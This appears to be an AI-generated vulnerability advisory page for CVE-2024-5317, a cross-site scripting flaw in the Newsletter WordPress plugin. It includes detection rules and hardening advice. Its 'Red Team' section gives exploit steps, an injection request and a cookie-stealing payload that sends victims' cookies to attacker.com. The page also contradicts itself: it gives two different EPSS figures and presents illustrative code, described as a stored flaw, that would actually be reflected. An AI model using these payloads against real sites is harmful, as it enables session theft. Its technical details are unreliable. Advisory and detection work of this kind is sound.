☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-5317

CVE-2024-5317 Cross-Site Scripting in Newsletter
📅 PUBLISHED: 2024-06-05 01:56 UTC 🔄 UPDATED: 2026-08-18 18:54 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.53%
👁️
0.53% probability
13.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-5317 is a Stored Cross-Site Scripting (XSS) vulnerability in the Newsletter plugin for WordPress (versions up to and including 8.3.4). The flaw resides in the np1 parameter, which is insufficiently sanitized and escaped. An unauthenticated attacker can inject arbitrary web scripts that execute when any user accesses the compromised page. This affects the WordPress ecosystem directly, not the underlying web server (Apache/Nginx). The CVSS score is 6.4 (Medium), and no patch is currently available from the vendor. The EPSS score is 0.0%, indicating low active exploitation probability, but the risk remains due to the plugin's widespread use.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is in a WordPress plugin distributed via the official WordPress plugin repository. Users should verify plugin integrity via checksums and monitor for updates. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 6.4 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: Required (UI:R) – victim must visit the injected page
  • Scope: Changed (S:C) – impact extends beyond the vulnerable component
  • Confidentiality Impact: Low (C:L) – script can steal session tokens
  • Integrity Impact: Low (I:L) – script can modify page content
  • Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires user interaction, but the attack surface is large due to unauthenticated injection.

Deep Dive & Mechanics

The vulnerability exists in the Newsletter plugin's handling of the np1 parameter. When processing this parameter, the plugin fails to sanitize user input and does not escape output before rendering it in the page. An attacker can craft a URL or form submission containing malicious JavaScript in the np1 parameter. This payload is stored on the server (e.g., in a post or comment) and executed when any user (including administrators) views the affected page.

Root Cause: Insufficient input sanitization and output escaping in the np1 parameter handler.

Attack Vector: Unauthenticated HTTP requests to WordPress pages that process the np1 parameter.

Impact: Stored XSS allows attackers to:

  • Steal session cookies
  • Perform actions on behalf of the victim (e.g., create admin accounts)
  • Deface the site
  • Redirect users to malicious sites

Vulnerable vs. Patched Code

Vulnerable Code (Newsletter <= 8.3.4):

// In vulnerable version, np1 is directly echoed without sanitization
echo $_GET['np1'];

Patched Code (Hypothetical fix):

// Properly sanitize and escape output
$np1 = sanitize_text_field($_GET['np1']);
echo esc_html($np1);

Note: No official patch exists. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress instance with Newsletter plugin <= 8.3.4
  • Ability to send HTTP requests to the target

Exploit Steps:

  1. Identify a page that processes the np1 parameter (e.g., a subscription form).
  2. Craft a payload: <script>alert('XSS')</script>
  3. Send a POST/GET request with the malicious np1 parameter:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded
    
    action=newsletter&np1=<script>alert('XSS')</script>
    
  4. The payload is stored and executed when an admin views the affected page.

Advanced Payload (Cookie Stealing):

<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unusual np1 parameter values containing <script> tags.
  • Use WAF rules to block XSS patterns in np1.

Hardening:

  • Disable the Newsletter plugin until a patch is available.
  • Implement Content Security Policy (CSP) headers to block inline scripts.
  • Use a Web Application Firewall (WAF) with XSS rules.

Indicators of Compromise (IOCs)

  • Network: HTTP requests with np1 parameter containing <script> tags.
  • File: Modified WordPress database entries containing JavaScript in np1 fields.
  • Log: Web server logs showing np1=<script> patterns.
  • Behavior: Unexpected admin account creation or site defacement.

Detection Engineering

YARA Rule

rule CVE_2024_5317_Newsletter_XSS {
    meta:
        description = "Detects stored XSS payloads in Newsletter plugin np1 parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5317"
    strings:
        $xss_payload = /np1=.*<script[^>]*>.*<\/script>/i
    condition:
        $xss_payload
}

Sigma Rule

title: CVE-2024-5317 Newsletter Plugin Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-5317 via np1 parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "np1="
        cs-uri-query|re: "np1=.*<script[^>]*>.*<\/script>"
    condition: selection
falsepositives:
    - Legitimate use of script tags in rare cases
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5317 Newsletter Plugin Stored XSS"; flow:to_server; content:"np1="; http_uri; pcre:"/np1=.*<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Newsletter plugin until a patch is released.
  2. Implement a WAF rule to block np1 parameters containing <script> tags.
  3. Add CSP headers to prevent inline script execution:
    Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
    

Long-term Fix:

  • Apply the vendor patch when available (currently none).
  • Replace the plugin with an alternative if no patch is forthcoming.

Detection:

  • Monitor logs for np1 parameter abuse.
  • Use the provided YARA/Sigma/Suricata rules.

Valters IT Signature:

This report was generated by Valters IT DevSecOps AI. 
For questions, contact: security@valters-it.com
👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Newsletter"
http.html:"newsletter-plugin"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-5317/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.